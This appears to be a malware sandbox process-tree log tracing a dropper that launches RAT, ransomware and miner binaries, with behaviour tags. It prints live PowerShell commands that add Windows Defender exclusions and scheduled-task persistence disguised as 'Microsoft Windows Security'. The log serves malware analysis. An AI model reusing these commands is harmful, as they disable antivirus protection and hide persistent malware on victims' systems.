C:\Users\Admin\Desktop\Files\caspol.exe"C:\Users\Admin\Desktop\Files\caspol.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\Files\caspol.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\Desktop\Files\caspol.exe"C:\Users\Admin\Desktop\Files\caspol.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\caspol.exe"C:\Users\Admin\Desktop\Files\caspol.exe"4⤵
-
-
C:\Users\Admin\Desktop\Files\caspol.exe"C:\Users\Admin\Desktop\Files\caspol.exe"4⤵
-
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"2⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Files\XClient.exe"C:\Users\Admin\Desktop\Files\XClient.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\XClient.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\Desktop\Files\up.exe"C:\Users\Admin\Desktop\Files\up.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\Files\rat.exe"C:\Users\Admin\Desktop\Files\rat.exe"3⤵
-
C:\Users\Admin\Desktop\Files\rat.exe"C:\Users\Admin\Desktop\Files\rat.exe"4⤵
-
-
-
C:\Users\Admin\Desktop\Files\AA_v3.exe"C:\Users\Admin\Desktop\Files\AA_v3.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\peinf.exe"C:\Users\Admin\Desktop\Files\peinf.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\naver.exe"C:\Users\Admin\Desktop\Files\naver.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\Unit.exe"C:\Users\Admin\Desktop\Files\Unit.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7124 -s 4484⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\Files\cc2.exe"C:\Users\Admin\Desktop\Files\cc2.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
-
-
C:\Users\Admin\Desktop\Files\Jigsaw.exe"C:\Users\Admin\Desktop\Files\Jigsaw.exe"3⤵
-
C:\Users\Admin\AppData\Local\Drpbx\drpbx.exe"C:\Users\Admin\AppData\Local\Drpbx\drpbx.exe" C:\Users\Admin\Desktop\Files\Jigsaw.exe4⤵
-
-
-
C:\Users\Admin\Desktop\Files\xt.exe"C:\Users\Admin\Desktop\Files\xt.exe"3⤵
-
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"2⤵
-
C:\Users\Admin\Desktop\Files\CrazyCoach.exe"C:\Users\Admin\Desktop\Files\CrazyCoach.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\Files\update.exeC:\Users\Admin\Desktop\Files\update.exe 65044⤵
-
-
-
C:\Users\Admin\Desktop\Files\Runtime%20Broker.exe"C:\Users\Admin\Desktop\Files\Runtime%20Broker.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\MK.exe"C:\Users\Admin\Desktop\Files\MK.exe"3⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\Desktop\Files\nxmr.exe"C:\Users\Admin\Desktop\Files\nxmr.exe"3⤵
-
-
C:\Users\Admin\Desktop\Files\DiscordSpotifyBypass.exe"C:\Users\Admin\Desktop\Files\DiscordSpotifyBypass.exe"3⤵
-
C:\Users\Admin\Desktop\Files\DiscordSpotifyBypass.exe"C:\Users\Admin\Desktop\Files\DiscordSpotifyBypass.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\CAD7.tmp.zx.exe"C:\Users\Admin\AppData\Local\Temp\CAD7.tmp.zx.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\CAD7.tmp.zx.exe"C:\Users\Admin\AppData\Local\Temp\CAD7.tmp.zx.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\CFD9.tmp.x.exe"C:\Users\Admin\AppData\Local\Temp\CFD9.tmp.x.exe"2⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1804 -parentBuildID 20240401114208 -prefsHandle 1716 -prefMapHandle 1704 -prefsLen 24585 -prefMapSize 245185 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6463d61-482f-4fe9-a942-7e02e88ee856} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" gpu4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20240401114208 -prefsHandle 2172 -prefMapHandle 2168 -prefsLen 24585 -prefMapSize 245185 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {065ea452-c7fd-42f4-abf1-30b5a54174a8} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" socket4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3360 -childID 1 -isForBrowser -prefsHandle 3252 -prefMapHandle 3088 -prefsLen 25019 -prefMapSize 245185 -jsInitHandle 1336 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {07d5aaf0-93ee-4a0f-89e1-1fe41c3453c5} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3452 -childID 2 -isForBrowser -prefsHandle 3420 -prefMapHandle 3416 -prefsLen 29376 -prefMapSize 245185 -jsInitHandle 1336 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bafa32f9-6544-476c-b136-bd1332b7da86} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4436 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4440 -prefMapHandle 4244 -prefsLen 30260 -prefMapSize 245185 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0357381-9010-4366-9513-ea59f8d29fff} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" utility4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5372 -childID 3 -isForBrowser -prefsHandle 5368 -prefMapHandle 5364 -prefsLen 27835 -prefMapSize 245185 -jsInitHandle 1336 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4ef5f026-4ec1-40ca-8b29-32fc8105a8a3} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5776 -parentBuildID 20240401114208 -prefsHandle 5620 -prefMapHandle 5280 -prefsLen 30367 -prefMapSize 245185 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2348ad7c-ff24-4304-9a3a-3b8064a22955} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" rdd4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5888 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 5860 -prefMapHandle 5856 -prefsLen 30367 -prefMapSize 245185 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0ea3575-d78c-4d4a-9885-bf3927f0ff71} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" utility4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6056 -childID 4 -isForBrowser -prefsHandle 5860 -prefMapHandle 6044 -prefsLen 27835 -prefMapSize 245185 -jsInitHandle 1336 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {46d78c75-b277-435d-a3e1-9fde4f1e9c14} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6168 -childID 5 -isForBrowser -prefsHandle 6176 -prefMapHandle 6180 -prefsLen 27835 -prefMapSize 245185 -jsInitHandle 1336 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {353102e6-0f6d-4f0e-87ef-c317a2a5c6dd} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6368 -childID 6 -isForBrowser -prefsHandle 6376 -prefMapHandle 6384 -prefsLen 27835 -prefMapSize 245185 -jsInitHandle 1336 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2088fbd7-b3e4-4ece-bb2f-de70ab855936} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6840 -childID 7 -isForBrowser -prefsHandle 6792 -prefMapHandle 6804 -prefsLen 27835 -prefMapSize 245185 -jsInitHandle 1336 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa90dca1-0bb2-43c5-8403-a6cc30bb414b} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7060 -childID 8 -isForBrowser -prefsHandle 6980 -prefMapHandle 6984 -prefsLen 27835 -prefMapSize 245185 -jsInitHandle 1336 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4f8a5767-bb69-487c-afce-6cdba3397f01} 5616 "\\.\pipe\gecko-crash-server-pipe.5616" tab4⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"2⤵
-
-
C:\Users\Admin\AppData\Local\JJSploit\JJSploit.exeC:\Users\Admin\AppData\Local\JJSploit\JJSploit.exe2⤵
-
C:\Windows\system32\cmd.exe"cmd" /C start https://www.youtube.com/@Omnidev_3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@Omnidev_4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffa7d7b3cb8,0x7ffa7d7b3cc8,0x7ffa7d7b3cd85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1932,11043531513644243091,14554094733063341322,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1944 /prefetch:25⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /C start https://www.youtube.com/@WeAreDevsExploits3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@WeAreDevsExploits4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xe0,0x10c,0x7ffa7d7b3cb8,0x7ffa7d7b3cc8,0x7ffa7d7b3cd85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,12069592164556563193,12635475063929670351,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2028 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2016,12069592164556563193,12635475063929670351,131072 --lang=uk --service-sandbox-type=none --mojo-platform-channel-handle=2100 /prefetch:35⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=JJSploit.exe --webview-exe-version=8.10.7 --user-data-dir="C:\Users\Admin\AppData\Local\net.wearedevs\EBWebView" --no-default-browser-check --disable-component-extensions-with-background-pages --no-first-run --disable-default-apps --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --disable-popup-blocking --internet-explorer-integration=none --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc" --lang=uk-UA --mojo-named-platform-channel-pipe=2596.8524.149098139118165736063⤵
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\net.wearedevs\EBWebView /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\net.wearedevs\EBWebView\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\net.wearedevs\EBWebView --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=90.0.818.66 --initial-client-data=0x108,0x10c,0x110,0xe4,0x1b4,0x7ffa7d7b3cb8,0x7ffa7d7b3cc8,0x7ffa7d7b3cd84⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=gpu-process --field-trial-handle=1704,3750517261117588025,4914711649788543871,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msPdfOOUI,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSmartScreenProtection,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch,msWebOOUI --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.wearedevs\EBWebView" --webview-exe-name=JJSploit.exe --webview-exe-version=8.10.7 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1812 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1704,3750517261117588025,4914711649788543871,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msPdfOOUI,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSmartScreenProtection,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch,msWebOOUI --lang=uk --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.wearedevs\EBWebView" --webview-exe-name=JJSploit.exe --webview-exe-version=8.10.7 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --mojo-platform-channel-handle=1908 /prefetch:34⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1704,3750517261117588025,4914711649788543871,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msPdfOOUI,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSmartScreenProtection,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch,msWebOOUI --lang=uk --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.wearedevs\EBWebView" --webview-exe-name=JJSploit.exe --webview-exe-version=8.10.7 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --mojo-platform-channel-handle=1744 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=renderer --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc" --field-trial-handle=1704,3750517261117588025,4914711649788543871,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msPdfOOUI,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSmartScreenProtection,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch,msWebOOUI --lang=uk --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.wearedevs\EBWebView" --webview-exe-name=JJSploit.exe --webview-exe-version=8.10.7 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2868 /prefetch:14⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
-
-
C:\Windows\System32\dwm.exeC:\Windows\System32\dwm.exe2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4592 -ip 45921⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\SDASD.exeC:\Users\Admin\AppData\Local\Temp\SDASD.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\SDASD.exeC:\Users\Admin\AppData\Local\Temp\SDASD.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\DataExchangeHost.exeC:\Windows\System32\DataExchangeHost.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
-
